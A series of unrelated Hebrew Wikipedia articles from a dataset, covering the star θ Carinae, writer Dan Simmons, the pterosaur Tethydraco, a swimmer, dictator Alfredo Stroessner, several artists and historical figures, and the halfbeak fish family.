recursal/SuperWikiNEXT-32B huggingface dataset:
**θ בשדרית** הוא כוכב בולט בקבוצת הכוכבים שדרית עם בהירות נראית מדרגה 2.76, הנמצא במרחק של כ-455 שנות אור ממערכת השמש. למרות בהירותו לא קיבל הכוכב שם בתרבות המערבית, ככל הנראה בשל מיקומו הדרומי שלא מאפשר לצפות בו מאירופה.

תכונות
------

θ בשדרית הוא כוכב הסדרה הראשית כחול מסוג ספקטרלי B0 Vp, כלומר הוא מראה ספקטרום חריג מזה הנפלט מכוכבים מסוגו. נראה שהכוכב עשיר בחנקן, צורן וזרחן, אך עני בפחמן. מסתו מוערכת בקצת יותר מ-15 מסות שמש ורדיוסו בלמעלה מ-5 רדיוסי שמש. טמפרטורת פניו היא 31,000 קלווין והוא מאיר בעוצמה של פי 1,300 מעוצמת ההארה של השמש באור נראה, אך בשל טמפרטורת פניו הגבוהה כמעט כל קרינתו היא בתחום העל-סגול כך שעוצמת הארתו הכוללת היא פי 20,000 מעוצמת ההארה של השמש.

θ בשדרית נמצא בתוך צביר פתוח בשם IC 2602 והוא הכוכב הבהיר ביותר בצביר. אף על פי שהמרחק, המהירות הרדיאלית והתנועה העצמית של θ בשדרית דומות לאלו של שאר כוכבי הצביר, גילו של θ בשדרית מוערך בפחות מ-5 מיליון שנים בעוד שהצביר הוא בן כ-30 מיליוני שנים. ההסבר המקובל לכך ש-θ בשדרית צעיר בהרבה מהצביר שאליו הוא שייך וכן לשכיחות החריגה של יסודות שונים בשכבותיו החיצוניות, הוא של-θ בשדרית יש בן זוג קרוב, שבעבר היה המסיבי מבין השניים והתפתח במהירות גדולה יותר. כאשר אזל המימן בליבתו של בן הזוג, הוא החל להתנפח בדרך להפוך לענק אדום, אך בשל המרחק הקטן בין השניים, עבר החומר משכבותיו החיצוניות של בן הזוג המפותח אל בן הזוג הקטן יותר. כתוצאה מהמעבר הפך התחלפו השניים בתפקידים וכעת הכוכב שהיה הקטן יותר הוא המסיבי והבהיר מבין השניים. מעבר החומר גם העשיר את שכבותיו החיצוניות של θ בשדרית בתוצרי ההיתוך של בן הזוג ומכאן שכיחותם החריגה. בעתיד, כאשר יאזל המימן בליבתו של θ בשדרית, הוא יתנפח לרדיוס גדול מהמרחק בין בני הזוג וחלק מהחומר יחזור אל בן הזוג העמום. למעשה גילו האמיתי של θ בשדרית הוא גדול בהרבה ודומה לגילו של הצביר, אך רוב הזמן הוא היה כוכב פחות מסיבי ומסוג ספקטרלי שונה ורק לפני מספר מיליוני שנים הפך להיות מה שהוא כיום.

מדידות ספקטרוסקופיות של אור הכוכב מראות על שינויים מחזוריים במהירות הרדיאלית שלו ומכך ניתן להסיק על קיומו של אותו בן זוג. מהמדידות ידוע שלבן הזוג מסה סביב מסת שמש אחת, ושהוא מקיף את θ בשדרית במרחק קטן מאוד של כ-4 אלפיות של יחידה אסטרונומית (כ-19 רדיוסי שמש) ובזמן הקפה של 2 ימים, 4 שעות ו-52 דקות. בשל הקרבה הרבה והבהירות הגדולה של θ בשדרית, לא ניתן לזהות את קרינתו של בן הזוג ולכן לא ידועים פרטים נוספים על תכונותיו.

קישורים חיצוניים
----------------

* θ בשדרית באתר של ג'ים קלר
* תטא בשדרית, בבסיס הנתונים SIMBAD לגרמי שמיים אסטרונומיים

הערות שוליים
------------

1. 1 2 3  SIMBAD: θ Carinae
2. 1 2 3 4 5 6 7 8  S. Hubrig, M. Briquet, T. Morel, M. Schöller, J. F. González & P. De Cat: New insights into the nature of the peculiar star θ Carinae, Astronomy & Astrophysics, Vol. 488, Iss. 1, p. 287-296 (2008)
3. ↑  O. Kochukhov & S. Bagnulo: Evolutionary state of magnetic chemically peculiar stars, Astronomy & Astrophysics, Vol. 450, Iss. 2, Online Material p. 2 (2006)
4. ↑  M. S. Vardya: Stellar rotation and mass loss in O and B stars, Astrophysical Journal, Part 1, vol. 299, p. 256 (1985)

| הכוכבים הבהירים בקבוצת שדרית |
| --- |
| 

|  |  |
| --- | --- |
| α (קאנופוס) • β (מיאפלסידוס) • ε (אוויור) • ι (אספידיסקה) • θ‏ • υ |  |

 |
**דן סימונס** (באנגלית: **Dan Simmons**; נולד ב-4 באפריל 1948) הוא סופר מדע בדיוני ואימה אמריקאי. סימונס מוכר בעיקר בזכות יצירות המדע הבדיוני זוכות הפרסים שלו, "הקנטוס של היפריון" והדואולוגיה "איליום"/"אולימפוס", בנוסף לספרים בז'אנרים נוספים כגון אימה, פנטזיה ועוד. סימונס נוהג לשלב ביצירות שלו רפרנסים רבים מעולם הספרות, אומנות והביוגרפיות של יוצרים אחרים (משוררים וסופרים בעיקר), דוגמת ספרו מ-2009 "דרוד", שמתאר את חמש השנים האחרונות בחייו של צ'ארלס דיקנס, קשרי החברות שלו עם הסופר וילקי קולינס ועבודתו של דיקנס על ספרו האחרון אותו לא הספיק לסיים, "תעלומת אדווין דרוד". סימונס זכה בפרסים רבים במהלך קריירת הכתיבה שלו, ביניהם פרס הפנטזיה העולמי, פרס לוקוס, פרס הוגו, פרס בראם סטוקר ועוד. סימונס זכה לראשונה בתשומת לב והכרה ככותב עם זכייתו בפרס הפנטזיה העולמי עבור ספרו "השיר של קאלי" ב-1985.

ביוגרפיה
--------

סימונס נולד בפאוריה, אילינוי. הוא קיבל BA באנגלית מקולג' וובש ב-1970 ועשה תואר שני בחינוך באוניברסיטת וושינגטון בסיינט לואיס ב-1971. סימונס היה מעורב עוד בתקופת לימודי התואר הראשון בכתיבה עיתונאית ויצירתית, ואף זכה בפרס הצטיינות בכתיבה מטעם האחווה הלאומית לסטודנטים פי בטא קפא. לאחר סיום הלימודים, החל סימונס לעבוד כמורה בבתי ספר יסודיים, תפקיד אותו הוא ביצע במשך 18 שנים. קריירת הכתיבה של סימונס לא התחילה רשמית עד 1982, כשהסיפור הקצר שלו "הנהר סטיקס זורם במעלה הזרם", פורסם וזכה בפרס הראשון בתחרות של מגזין "אזור הדמדומים". ספרו הראשון "השיר של קאלי" פורסם ב-1985 וזכה בפרס הפנטזיה העולמי ב-1986. בזמן זה, סימונס עבד כמורה בבית ספר יסודי בקולרדו, והמשיך בעבודתו זו עד ל-1989, אז הפך לכותב במשרה מלאה. ב-1995 זכה סימונס לקבל דוקטורט של כבוד מטעם קולג' וובאש, עבור תרומתו הענפה לתחום החינוך ועבור כתיבתו.

קישורים חיצוניים
----------------

* 
* דן סימונס (1948-), דף שער בספרייה הלאומית
* דן סימונס, ברשת החברתית Goodreads

הערות שוליים
------------

1. ↑  1986 Award Winners & Nominees, רשימת המועמדים והזוכים בספרות פנטזיה ומדע בדיוני ב-1986 מתוך אתר worldswithoutend.com
2. ↑  Karen Handley, Nationally Acclaimed Writer, Dan Simmons, to Give a Reading at Wabash College מרץ 31, 2003, מתוך "מגזין וובאש"
3. ↑  ABOUT DAN Biographic Sketch, מתוך אתר הסופר dansimmons.com (באנגלית)

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007304916505171
* BIBSYS: 7060381
* BNE: XX839201
* BnF: cb121109667 (data)
* CANTIC: a11416634
* CiNii: DA08959686
* GND: 120399792
* ICCU: CFIV114276
* ISNI: 0000 0001 2283 8339
* LCCN: n85026246
* MusicBrainz: f0784bdf-9f9c-4366-ac42-ea793ff56ff0
* NDL: 00475117
* NKC: ola2002112695
* NLA: 35718551
* NLK: KAC200713113
* NLP: A27496727
* NSK: 000066088
* NTA: 07328131X
* RERO: 02-A003832808
* SNAC: w6wb362v
* SUDOC: 029494141
* VIAF: 107011235
* WorldCat: lccn-n85026246

 |
תטידרקו בהשוואה לאדם ולפטרוזאורים קרובים.
**תטידרקו** (שם מדעי: ***Tethydraco***; מילולית: "הדרקון של תטיס") הוא סוג של פטרוזאור גדול שהתקיים במשך הקרטיקון העליון שלפני 66 מיליון שנה מזמננו בעת המאסטריכט. במקור הוא נחשב לסוג במשפחת האז'דרכיים, אך כיום נראה שהוא קשור לקבוצה אורניתוכירואידה.

מאפיינים
--------

המאובנים שלו התגלו במרוקו לאחר עבודת משלחת פלאונטולוגית במשך 2015 במספר מכרות במרוקו והוא תואר למדע ב-2018 בידי החוקר ניקולס לונגריך ר. (Nicholas R.Longrich), דייב מ. מרטיל (David M. Martill) ובריאן אנדרס (Brian Andres), כשהסוג הכיל מין אחד - *Tethydraco regalis*. הממצאים כללו בעיקר עצמות זרוע וירכיים קצרות שבורות, אשר דמו לאלה של מספר אז'דרכיים או של הפטרנודון שהיו גבוהים עם גפיים ארוכות שעזרו לייצב אותם על הקרקע ולא רק באוויר. הפטרוזאור הגיע לאורך ממוצע של 5 מטרים.

זוחל זה התגלה בחפירות סמוך לחופי מרוקו וייתכן שחי לחופי האוקיינוס האטלנטי הקדום, שם ניזון מדגים ויצורים ימיים שונים. הוא נכחד לפני 66 מיליון שנה עם הכחדת הקרטיקון, מה שהופך אותו לבין המאוחרים שבבני קבוצתו.

בתרבות
------

התטידרקו נראה בסדרה כוכב פרהיסטורי.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **תטידרקו** בוויקישיתוף
**דן קצין** (נולד בשנת 1953), שחיין עבר ישראלי, אלוף ישראל במשחה ל-200 מטר חזה (1971).

ביוגרפיה
--------

קצין עלה מארצות הברית והתאמן בקבוצת ברית מכבים עתיד.

### 1970

באליפות ישראל בשחייה לנוער שנערכה בקיבוץ כפר בלום בספטמבר 1970 זכה קצין במדליית זהב במשחה ל-200 מטר חזה בתוצאה של 2:48.4 דקות. חודש לאחר מכן, באליפות ישראל בשחייה שנערכה בבת גלים בחיפה באוקטובר הוא זכה במדליית ארד, במשחה ל-200 מטר חזה בתוצאה של 2:49.0 דקות, אחרי יואל קנדה (2:46.9 דקות) ורמי יהודאי (2:48.3 דקות).

### 1971

בתחרות שנערכה בבריכת גלי גיל ברמת גן ביוני 1971 קבע קצין במשחה ל-200 מטר חזה שיא ישראלי חדש לנוער של 2:46.6 דקות. חודש לאחר מכן, בתחרות שנערכה באותה בריכה ביולי אותה שנה הוא שיפר במשחה ל-200 מטר חזה את שיאו הישראלי לנוער והעמידו על 2:45.6 דקות.

בתחרות שנערכה באוגוסט אותה שנה קבע קצין במשחה ל-200 מטר חזה שיא ישראלי חדש של 2:39.2 דקות שיפור לשיא של יואל קנדה (2:40.1 דקות).

#### אלוף ישראל

באליפות ישראל בשחייה שנערכה באוקטובר אותה שנה זכה קצין במדליית זהב במשחה ל-200 מטר חזה בתוצאה של 2:46.1 דקות, לפני גרשון שפע (2:48.6 דקות) וגדעון לוי מהפועל כפר הנשיא (2:55.1 דקות).

### 1972

באליפות ישראל בשחייה שנערכה במכון וינגייט בסוף ספטמבר 1972 זכה קצין בשתי מדליות כסף, במשחה ל-100 מטר חזה בתוצאה של 1:18.9 דקות, אחרי בועז פלדי מהפועל שמיר (1:14.7 דקות) ולפני ארז הנדלמן מהפועל תל אביב (1:20.5 דקות) ובמשחה ל-200 מטר חזה בתוצאה של 2:51.5 דקות, אחרי בועז פלדי (2:47.0 דקות) ולפני סמי הירשהורן מהפועל טבעון (2:51.6 דקות).

ראו גם
------

| עיינו גם בפורטל: |
| --- |
|  | **פורטל שחייה** |

הערות שוליים
------------

1. ↑  אורי ירון, דורון שפי ניצח ופרש, מעריב, 20 בספטמבר 1970
2. ↑  שלמה מוזר, שלומית ניר (פעם 3) משה גרטל (פעם 1 פעם) עברו את המינימום לבאנגקוק, דבר, 16 באוקטובר 1970
3. ↑  דן קצין קבע שיא הנוער ב-200 מ' חזה - 2:46.6 ד', דבר, 13 ביוני 1971
4. ↑  דן קצין קבע שיא נוער ב-200 מ' חזה - 2:45.6 ד', דבר, 18 ביולי 1971
5. ↑  שלומית ניר ניצחה בשני משחים באליפות הצפון, דבר, 15 באוגוסט 1971
6. ↑  שלמה מוזר, תוצאות ירודות ביום הראשון לאליפות השחיה, דבר, 7 באוקטובר 1971
7. ↑  רק שני שיאי נוער הושגו באליפות ישראל בשחיה, דבר, 24 בספטמבר 1972
**אלפרדו סטרסנר מטיאאודה** (בספרדית: **Alfredo Stroessner**;‏ 3 בנובמבר 1912 – 16 באוגוסט 2006) היה גנרל ופוליטיקאי מפרגוואי. כיהן בתפקיד נשיא פרגוואי ושלט כעריץ בארצו בשנים 1954 עד 1989.

סטרסנר, בן לאב ממוצא גרמני ולאם ממוצא קריואלי היספני, נולד בעיר אנקרנסיון. שירת כחייל במלחמת הצ'אקו ועלה בדרגות לדרגת גנרל.

בשנת 1954 הוביל מרד צבאי כנגד משטרו של הנשיא פדריקו צ'אבס. סטרסנר, שעמד בראש הצבא, חבר אל כוחות אזרחיים שחששו כי הנשיא בן ה-73 ינהיג משטר של דיקטטורה עממית נוסח חואן פרון בארגנטינה. כחודשיים לאחר המרידה הצבאית, הכריזה מפלגת "קולורדו" על סטרסנר כמועמדה לנשיאות, וב-15 באוגוסט 1954 נבחר סטרסנר לנשיאות, והחל את השלטון הדיקטטורי הארוך ביותר בתולדות אמריקה הלטינית.

שיטת הממשל של סטרסנר נשענה על הקפאת החוקה הדמוקרטית (שמכוחה דווקא נבחר) לטובת צווי חירום "זמניים" אשר נהגו להסירם אחת לארבע שנים על מנת לקיים בחירות נוספות, בהן היה זוכה סטרסנר ברוב של 90% מהקולות. "בחירות" אלו נערכו שמונה פעמים.

בשנת 1958 נבחר סטרסנר לשלטון פעם נוספת, אך לאחר הבחירות החלה התנגדות עממית בצורת לוחמת גרילה, שנעזרה גם במשטרו הצעיר של פידל קסטרו בקובה. סטרסנר, בתגובה, הורה על סגירת גבולות פרגוואי (המנותקת ממוצא לים), והכה בגרילה ביד רמה, מבלי לברור באמצעים.

בשנת 1959 התחדשה הלחימה. סטודנטים צעדו ברחובות אסונסיון במחאה על העלאת מחירי הנסיעה באוטובוס, וההפגנה דוכאה במחיר של כמאה פצועים. הדבר הוביל לחידוש המחאה העממית ולוחמת הגרילה. עתה קיבל סטרסנר סיוע מארצות הברית, שכן נחשב לגורם אנטי-קומוניסטי, והימים היו ימי המלחמה הקרה. האופוזיציה, מפולגת וכמהה לשלום, לא הצליחה להדיח את סטרסנר.

מדיניות החוץ של סטרסנר הייתה של תמיכה ללא סייג בארצות הברית (ובתמורה קבלת סיוע חוץ נדיב, ועזרה לייצוב משטרו), וכן של שיתוף פעולה עם ברזיל בהקמת המפעל הענק של סכר האיטאיפו, שתחנת הכוח שלו, הגדולה מסוגה בעולם, היא מקור הכנסה עיקרי לממשלת פרגוואי עד היום.

סטרסנר נקט ביד חזקה כנגד מתנגדיו מבית, ומשטרו הואשם ברצח המתנגדים ובעינויים. כמו כן יש המאשימים את המשטר ברצח האינדיאנים משבט האצ'ה (Aché) ששכנו באזור עשיר במינרלים, ועמדו בדרכו של סטרסנר לפיתוח האזור באמצעות תאגידים בינלאומיים. בכירים במשטרו של סטרסנר הואשמו בסחר בסמים.

צד אפל נוסף במשטר זה היו האשמות בשיתוף פעולה עם מנהיגים נאצים נמלטים. במשך שנים הייתה שמועה כי פרגוואי משמשת מקלט לבכירים נאצים, וכי משטרו של סטרסנר, הגרמני במוצאו, משתף עמם פעולה. בין אלו ששמם הוזכר, היה רופא המוות ממחנה אושוויץ, ד"ר יוזף מנגלה.

ב-3 בפברואר 1989 כוחות בפיקודו של סגנו של סטרסנר, הגנרל אנדרס רודריגס, תפסו לפתע את מרכזי הכוח בבירה אסונסיון. בלחימה שהתפרצה נהרגו 300 אנשים. סטרסנר הושם במעצר בית, אך לאחר מכן הורשה לצאת לגלות. סטרסנר נפטר מדלקת ריאות בעיר ברזיליה בגיל 93.

העיר המזרחית, "פוארטו דה פלור דה ליס", נקראה על שמו "פוארטו פרסידנטה סטרסנר" אך לאחר הדחתו נקראה העיר "סיודד דל אסטה".

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **אלפרדו סטרסנר** בוויקישיתוף
* אלפרדו סטרסנר, באתר אנציקלופדיה בריטניקה (באנגלית)
* אלפרדו סטרסנר, באתר "Find a Grave" (באנגלית)

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007302086405171
* BNE: XX1130287
* BnF: cb12029554b (data)
* CANTIC: a11580057
* GND: 118799177
* ISNI: 0000 0001 1479 6212
* LCCN: n79148893
* NLP: A12150058
* NTA: 068614322
* SNAC: w65k3kbw
* SUDOC: 028464796
* Trove: 863106
* VIAF: 107542263
* WorldCat: lccn-n79148893

 |
**ליביקוֹ מָרָגָ'ה** (באיטלקית: **Libico Maraja**; 15 באפריל 1912 – 30 בדצמבר 1983) היה צייר ומאייר איטלקי, שנודע במיוחד באיור ספרי ילדים ובמנהגו לחתום בשם משפחתו בלבד.

תולדות חייו
-----------

נולד בבלינצונה ולאחר לידתו עברה משפחתו ללוגאנו. בין השנים 1926–1929 למד בבית ספר לאמנות. ב-1932 פתח סטודיו בו עיצב, צייר ואייר כרזות, פרסומות, קלפי משחק וכן עסק בעיצוב חלונות ראווה. ב-1936 עבר עם משפחתו לקומו.

ב-1940 החל לעבוד כצייר ומעצב גרפי עבור חברת התקליטים IMA Pubblicità ואייר עטיפות לתקליטים ודפי תווים. כמו כן החל לעסוק באיור ספרי ילדים ומעשיות, שהתאימו מאוד לסגנונו התמים. ב-1949 נטל חלק בהפקת סרט האנימציה האיטלקי הראשון, *La Rosa di Bagdad*, שהופק בחברת IMA film (חברה בת של IMA Pubblicità), כמעצב הרקע.

החל מ-1947 עבד מרג'ה בעיקר כמאייר. הוא היה למאייר בחברת מחברות PIGNA. ב-1950 יצר את החוברת המאוירת הצבעונית הראשונה ששימשה את תלמידי בית הספר בכיתות הנמוכות, *Il mio mondo* ("העולם שלי"). מאז החלה שותפותו רבת השנים עם בית ההוצאה לאור Fabbri Editori, שנמשך עד מותו. במסגרת זו אייר ספרי ילדים רבים בהם ידועים בפרט איוריו לעליזה בארץ הפלאות ועליזה בארץ המראה, פינוקיו, עלילות סינבד המלח, סיפורי אנדרסן, מסעות גוליבר וסדרת *Fiabe sonore* ("גליונות סיפור") של ההוצאה, בה ראו אור 60 סיפורים (רובם מעשיות מאת האחים גרים ושארל פרו). 

מאז שנות ה-60 הפכו איוריו של מרג'ה לידועים ברחבי העולם ומהדורות מאוירות פרי עטו תורגמו וראו אור בארצות הברית, בריטניה, רוסיה, צרפת, גרמניה, ישראל ועוד. בפרט אומץ מרג'ה ביפן, תחת השם לימה-סן.

הערכה
-----

הסופרת מרית בן ישראל ניסתה להעריך את סוד הצלחתם של איוריו של מרג'ה וכתבה: 

> 
> לפני כך וכך שנים (כלומר אחרי הילדות ולפני שהפסקתי לחשוב באו-או) הייתי פוסלת אותם מראש כקיטש. אבל מאז הצטיידתי במשהו כמו "משקפי לילה" נגד החושך של תיוגים אוטומטיים. אם הילדה התרגשה, שווה לבדוק ממה. מהמתיקות? הדקורטיביות? ודאי, אבל לא רק, ואפילו לא העיקר. חושניות? כן, קצת
> 
> 
> 
> — 
>

קישורים חיצוניים
----------------

* אתר האינטרנט הרשמי של ליביקו מרג'ה
* מרית בן ישראל, האדם הוא שילוב בין צמח לציפור – על ברבורי הבר של אנדרסן ועל האיורים של מרג'ה, 27 במרץ 2011
* מרית בן ישראל, גנבה, פליטת קולמוס, או פרשנות נועזת? ברבורי הבר של אנדרסן והאיורים של מרג'ה, רשימה שנייה, 28 במרץ 2011

הערות שוליים
------------

1. ↑  בהוצאת מסדה: **פינוקיו** (מספר על ידי שירלי גולדן; 1958), **אגדות אנדרסן** (מספרות על ידי שירלי גולדן; 1958), **"אגדות מארץ סין"** (מספרות על ידי ש. גולדן; 1962), **"אגדות אפריקה"**: סופרו מחדש על ידי שירלי גולדן, עברית : יפה קרינקין (1965), **"סיפורי בלט"** (שירלי גולדן; 1966), **עליזה בארץ הפלאות** (לואיס קרול ; ציורים - מרג'ה ; מאנגלית - בלה ברעם; 1960)
2. ↑  מרית בן ישראל, האדם הוא שילוב בין צמח לציפור – על ברבורי הבר של אנדרסן ועל האיורים של מרג'ה, 27 במרץ, 2011

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* GND: 133419134
* ICCU: RAVV062231
* ISNI: 0000 0001 1058 1695
* LCCN: n84011511
* NKC: mzk2006363770
* NTA: 074560891
* SUDOC: 175622639
* VIAF: 40564500
* WorldCat (עם VIAF): 40564500

 |
יצירה של פלווין
יצירה של פלווין בכנסייה במילנו שבאיטליה
**דן פלווין** (אנגלית: Dan Flavin;‏ 1 באפריל 1933 - 29 בנובמבר 1996) הוא אמן אמריקאי מינימליסטי אשר התפרסם בזכות פסליו העשויים ממנורות פלואורסצנטיות.

חייו
----

נולד בשכונת ג'מייקה ברובע קווינס שבניו יורק למשפחה קתולית ולמד בבית ספר קתולי עד לשנת 1952. במשך תקופה קצרה למד בבית ספר לכמרים ואחר כך התגייס לחיל האוויר האמריקאי ושירת כמפעיל תחנה ניטור מטאורולוגית בקוריאה. במהלך שירותו הצבאי, 1954-5, למד פלווין אמנות בתוכנית של אוניברסיטת מרילנד לחיילים בקוריאה. כשחזר לניו יורק בשנת 1956 למד תקופה קצרה אצל בבית הספר של האמן האנס הופמן. אחר כך למד היסטוריה של האמנות בניו סקול בניו יורק והמשיך ללימודי ציור באוניברסיטת קולומביה.

בשנת 1959 פלווין עבד כשומר ומפעיל מעלית במוזיאון לאמנות מודרנית בניו יורק.

ציוריו הראשונים של פלווין היו בסגנון האקספרסיוניזם המופשט ובשנת 1961 הציג לראשונה תצוגת יחיד בגלריית ג'ודסון בניו יורק.

בקיץ של שנת 1961 החל לראשונה ליצור סקיצות לפסלים שמשולבים בהם מנורות פלואורסצנטיות. שנה מאוחר יוצר יצר את סדרות הפסלים "איקונות", שבהם היו משולבים נורות ניאון. 

בשנת 1963 יצר את הפסל "Diagonal of Personal Ecstasy", שהיה פסלו הראשון העשוי אך ורק מנורות ניאון.

פלווין מת ב-1996 בניו יורק.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **דן פלווין** בוויקישיתוף
* מיצירותיו
* מכון דן פלווין
* דן פלווין, באתר אנציקלופדיה בריטניקה (באנגלית)

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007298773805171
* AAG: 8382
* BIBSYS: 90371241
* BNE: XX1236171
* BnF: cb12195727n (data)
* CiNii: DA12946258
* GND: 118875736
* ISNI: 0000 0000 8186 322X
* KulturNav: 4d8b5f69-7143-47ba-a035-3d37e7087633
* LCCN: n50003508
* LNB: 000164176
* NKC: mzk2005295028
* NLA: 35088345
* NTA: 070479011
* RERO: 02-A003247337
* RKD: 28247
* SELIBR: 397471
* SNAC: w6gn8xbd
* SUDOC: 034711104
* ULAN: 500021736
* VcBA: 495/101541
* VIAF: 117220346
* WorldCat: lccn-n50003508

 |
**מיקלאנג'לו אבאדו** (באיטלקית: **Michelangelo Abbado**;‏ 22 בספטמבר 1900 - 24 בספטמבר 1979) היה כנר איטלקי.

חייו
----

מיקלאנג'לו אבאדו, יליד אלבה, פיימונטה, איטליה, היה אביהם של הפסנתרן והמלחין מרצ'לו אבאדו והמנצח קלאודיו אבאדו, וסבו של המנצח רוברטו אבאדו. הוא למד נגינה בכינור אצל אנריקו פולו והלחנה אצל ג'ובאני אורפיצ'ה. 

אבאדו הרבה להופיע בקונצרטים, הן כסולן והן בנגינה בהרכב קאמרי. בשנים 1938 עד 1945 ניגן בשלישייה עם הפסנתרן קרלו אידוסו ועם הצ'לן ג'ילברטו קרפאקס. הרפרטואר שלו כלל הן מוזיקה עתיקה והן יצירות של מלחינים איטלקים בני זמננו. בשנים 1927 עד 1934 ניגן ברביעיית המיתרים אבאדו-מליפיירו, יחד עם הצ'לן ריקרדו מליפיירו האב, אחיו של ג'אן פרנצ'סקו ואביו של ריקרדו מליפיירו הצעיר.

בשנת 1941 ייסד את תזמורת כלי הקשת של מילאנו, עמה הופיע הן כמנצח והן כסולן. התזמורת התמחתה בביצוע מוזיקה איטלקית מתקופת הבארוק.

אבאדו כתב ב-1943 מונוגרפיה על אנטוניו ויוואלדי וכן ערך פרטיטורות רבות של יצירות ויוואלדי, פגניני, באך, אלבינוני, בנדטו מרצ'לו ואחרים.

בשנת 1962 חדל אבאדו מפעילותו הקונצרטית והקדיש את זמנו להוראת תאוריית המוזיקה וטכניקת הנגינה בכינור.

אבאדו נפטר 1979 בגרדה ריביירה, לומברדיה.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **מיקלאנג'לו אבאדו** בוויקישיתוף

* מיקלאנג'לו אבאדו, באתר AllMusic (באנגלית)
* מיקלאנג'לו אבאדו, באתר MusicBrainz (באנגלית)
* מיקלאנג'לו אבאדו, באתר Discogs (באנגלית)

* Dizionario Biografico degli Italiani


|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007431443905171
* BIBSYS: 6079367
* BNE: XX1561655
* BnF: cb13773579m (data)
* GND: 1031155074
* ICCU: RAVV068789
* ISNI: 0000 0001 1933 5941
* LCCN: n86042858
* MusicBrainz: 3cf56cf9-fec4-45b0-9c23-baaf9c19a3f8
* NKC: xx0156420
* NTA: 102573263
* VcBA: 495/281846
* VIAF: 34640709
* WorldCat: lccn-n86042858

 |
שלט האצולה של מיקלה מורוציני.
**מיקלה מורוזיני** (באיטלקית: **Michele Morosini**;‏ 1308 – 16 באוקטובר 1382) היה הדוכס ה-61 של ונציה. מורוזיני כיהן כדוג'ה מאז מינויו, ב-10 ביוני 1382 ועד פטירתו, זמן קצר לאחר מכן, באוקטובר באותה שנה.

מיקלה מורוזיני היה בן לאחת ממשפחות האצולה העשירות והחזקות ביותר בוונציה. ההיסטוריונים חלוקים בדעותיהם בדבר אופיו של מורוזיני- חלקם סבורים כי אכן פעל לטובת לה סרניסימה במהלך המלחמה עם ג'נובה בין השנים 1378–1381, בעוד שאחרים סבורים כי ניצל באופן ציני את המלחמה להגברת עושרו שלו. 

לאחר מות קודמו, אנדראה קונטאריני נבחר מורוזיני ונפטר זמן קצר לאחר מכן, לאחר שחלה במחלת הדבר. מורוזיני נקבר בבזיליקת סנטי ג'ובאני אי פאולו.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **מיקלה מורוזיני** בוויקישיתוף
* מיקלה מורוזיני, באתר "Find a Grave" (באנגלית)

|  |  |  |
| --- | --- | --- |
| **הקודם**:**אנדראה קונטאריני** | **דוכסי ונציה** 1382–1382 | **הבא**:**אנטוניו ונייר** |

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* GND: 12425568X
* ISNI: 0000 0000 1484 6737
* SUDOC: 250124009
* VIAF: 112147663110360552424
* WorldCat (עם VIAF): 112147663110360552424

 |
**מיקיאל אנטון ווסאלי** (במלטית: **Mikiel Anton Vassalli**;‏ 5 במרץ 1764 - 12 בינואר 1829) היה סופר ובלשן מלטזי.

חייו
----

מיקיאל אנטון ווסאלי נולד בעיר זבוג' (Żebbuġ) שבמלטה למשפחת איכרים. בשנת 1785 הוא התחיל לימודי שפות בספיאנצה – אוניברסיטת רומא.

אף על פי שספרי דקדוק ומילונים לשפה המלטית היו כתובים כבר קודם, במהלך שנות ה-90 של המאה ה-18 ווסאלי החל להוציא מהשפה מילים שמקורם באיטלקית במטרה להפוך אותה לשפה לאומית. בתקופה זו הוא פרסם מספר ספרי יסוד בתחום הדקדוק ומילון איטלקי-מלטי. ההקדמה למילון כללה מסרים לאומיים חזקים.

בהמשך הוא התחיל ללמד באוניברסיטת מלטה ופרסם ספרים נוספים לרבות תרגום הברית החדשה. ווסאלי היה הראשון שניתח את השפה בהתאם לשורשים השמיים שלה.

בעקבות הפעילות הפוליטית ווסאלי גורש מהאי מספר פעמים. בתקופתו השלטון במלטה עבר מהוספיטלרים לאימפריה הצרפתית והחל משנת 1800 לבריטניה. בעקבות פעילותו נגד שלטון המסדר, הוא נעצר ובהמשך גורש מהאי. ווסאלי קיבל אישור לחזור רק בשנת 1826.

וסאלי נפטר בשנת 1829, הכנסייה הקתולית סירבה לאשר קבורתו ולכן הוא נטמן בבית הקברות שהיה בשימוש של הבריטים.

פראנס סאמוט פרסם ספר על חייו Il-Ħolma Maltija (The Maltese Dream) שנחשב ליצירת מופת של הספרות בשפה המלטית.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **מיקיאל אנטון ווסאלי** בוויקישיתוף
* מידע על חייו

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007584917405171
* BnF: cb130144821 (data)
* GND: 119426595
* ISNI: 0000 0000 6140 3920
* LCCN: n2008000396
* SUDOC: 150210728
* VIAF: 14905506
* WorldCat: lccn-n2008000396

 |
**חַד-לִסְתִּיִּים** (שם מדעי: **Hemiramphidae**) היא משפחת דגי גרם ימיים השייכים לסדרת החניתאים והם קרוביהם של השפודניים. הם חיים בכל האוקיינוסים בעיקר בים הפתוח, אך גם בחופים רבים לרבות בחופי מפרץ אילת והים התיכון והם נודדים גם לשפכי נהרות ומים מליחים שמעבר להשגת דגי ים אחרים. לפעמים חלק מהמינים מקפצים מעל פני המים.

בני המשפחה בעלי לסת תחתונה ארוכה בהרבה מהעליונה ובעלת צורת סיף. אורכם מגיע לעיתים ל-30 סנטימטרים. הגוף שלהם בנוי בצורת טורפדו בדומה לשפודניים, והם בעלי קשקשים כסופים ארוכים המותאמים למהירות. הם אוכלי כל הניזונים מאצות, פלנקטון צמחי וחי, רכיכות כמו פטרופודות (Pteropoda) וסרטנים משייטים וכן דגים קטנים. הצעירים ניזונים בעיקר מבשר וחלק מהמינים משחרים לטרף בלילה, בעוד אחרים צדים ביום.

